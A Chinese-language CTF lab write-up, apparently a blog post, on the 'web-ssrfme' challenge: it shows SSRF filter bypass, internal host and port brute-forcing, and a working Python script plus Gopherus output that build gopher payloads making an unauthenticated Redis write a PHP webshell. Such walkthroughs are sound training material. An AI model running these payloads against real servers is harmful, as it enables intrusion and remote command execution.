web-ssrfme

环境搭建

1,下载压缩包文件,上传到虚拟机解压,并进入文件目录,使用docker-compose up -d构建并运行镜像。

(这里面可能涉及docker 的镜像源或者代理的问题,导致镜像拉取不下来,可以配置代理,或者更改国内镜像源)

2.运行了镜像过后,他是用本地的8091端口映射为容器内的80端口,直接访问虚拟机的8091端口就行了。

二,分析

1,直接访问虚拟机的8091端口,页面显示源码内容,可以看到定义了curl函数,执行url的请求,但是对url的值做了过滤,不允许file://,dict://,127.0.0.1,../,localhost等字样,但是为对http://做过滤,同时下面只要有info参数就会显示phpinfo的信息,我们可以在里面获取docker”内网“中的IP地址。

根据传入的info参数,进入了phpinfo页面,可以获取到网站的服务器实际内网地址是172.18.0.3:80,下一步的思路是通过给url传入http://172.18.0.3:port可以查看该服务器主机有没有其他开发的端口,如mysql的3306之类的。

发现内网存活主机

使用phpinfo来看内网IP地址

直接用burp抓包,再自动攻击的模块中,选中端口直接从1到65535爆破,当然如果从1到65535爆破的话时间也是非常长的,可以选取一些指定的端口,就比如mysql3306,redis6379等等。

结果就是除了网站服务器本机除了80端口开放,并没有其他端口开放了,这情况下可以换个思路,有可能他的数据库等等放在内网其他主机上。

接下来尝试爆破出其他内网存活主机:如下图可以看到主机最后一位为1,2,3的长度不一样,当然172.18.0.3是网站的服务器内网地址,现在我们可以尝试爆破172.18.0.1的开放端口,和172.18.0.2的开放端口。

接下来流程还是更上面一样,爆破端口,或者用常用端口先试一下,我这边用一些常用端口测试,测试出了redis的报错信息,那就说明在内网地址为172.18.0.2的主机上存在redis数据库。

这时候就可以结合ssrf+gopher+redis进行渗透了,这里补充一下知识点:
Gopher 是一种早期的网络协议,支持发送多行文本请求,它可以构造任意TCP请求(包括redis)格式如下:

gopher://<host>:<port>/<TCP数据流>
而redis默认是没有设置密码的,如果管理员没有给他设置密码,同时又存在ssrf漏洞未严格过滤,这就导致了我们可以利用gopher协议伪造出恶意访问链接,让redis写入文件(如ssh公钥,webshell)

这里至于gopher内容如何构造,我们可以使用一款工具Gophers,这个需要python2安装https://github.com/tarunkant/Gopherus

下载好过后直接进入文件,给执行权限,安装运行即可。

可以使用gopherus --help来看帮助文档

gopherus --exploit redis命令可以构建访问并执行ridis命令的gopherus协议的链接

因为前面访问172.18.0.2的时候存在80端口,我们可以在默认路径下通过redis写webshell,我这里生成的是在默认/var/www/html路径下写的<?php phpinfo();代码,直接复制他生成的gopher协议的信息。

这里还需要将他生成的gopher协议的信息的地址更改一下,再对这个信息做一次url编码,因为生成的gopher协议信息包含%字符,在传输给服务器的时候,会先对其进行url解码,导致gopher协议内容被破坏,gopher协议的解析器识别不了这个内容。

但是发现并没有文件,所以可能这个路径下不能写文件,现在我们可以尝试爆破出其他有没有可写文件的路径

可以用在网上找一份目录字典,在burp中进行爆破,可以看到存在/var/www/html/upload目录,接下来就尝试能不能在这个目录下写文件

重新构造gopher:

直接再次访问,这时候页面再转圈圈,说明几乎成功了,正在写入

然后我们进入docker看一下

确实是写进去了,但是内容有点问题,这里我们可以写脚本生成gopher协议的内容,也可以在网上寻找脚本,重新试一次。大体思路就是这样。

方式1:使用python生成 payload

我们利用 Redis 服务器的 config set dir 和 config set dbfilename 进行 Webshell 写入。

Python 脚本生成 gopher 协议 payload,用于 SSRF 发送 Redis 命令

import urllib
protocol="gopher://"
ip="172.22.0.2"    # 运行着 redis 的内网主机 IP
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall",
    "set 1 {}".format(shell.replace(" ","${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
 
payload=protocol+ip+":"+port+"/_"
 
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd
 
if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

方式二:使用 Gopher 工具

 GitHub 下载地址:Gopherus

该工具使用 Python2,生成 gopher payload。

sudo apt update
sudo apt install python2 python2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py

# 下载并解压后运行 install.sh
./install.sh

生成paload

root@lll-virtual-machine:/home/Gopherus-master# gopherus --exploit redis
 
 
  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/
 
                author: $_SpyD3r_$
 
 
Ready To get SHELL
 
What do you want?? (ReverseShell/PHPShell): PHPShell #木马语言
 
Give web root location of server (default is /var/www/html): /var/www/html/upload #上传路径
Give PHP Payload (We have default PHP Shell): <?php system('cat /flag') ?> #一句话木马
 
Your gopher link is Ready to get PHP Shell: 
 
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
 
When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. 
-----------Made-by-SpyD3r-----------

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值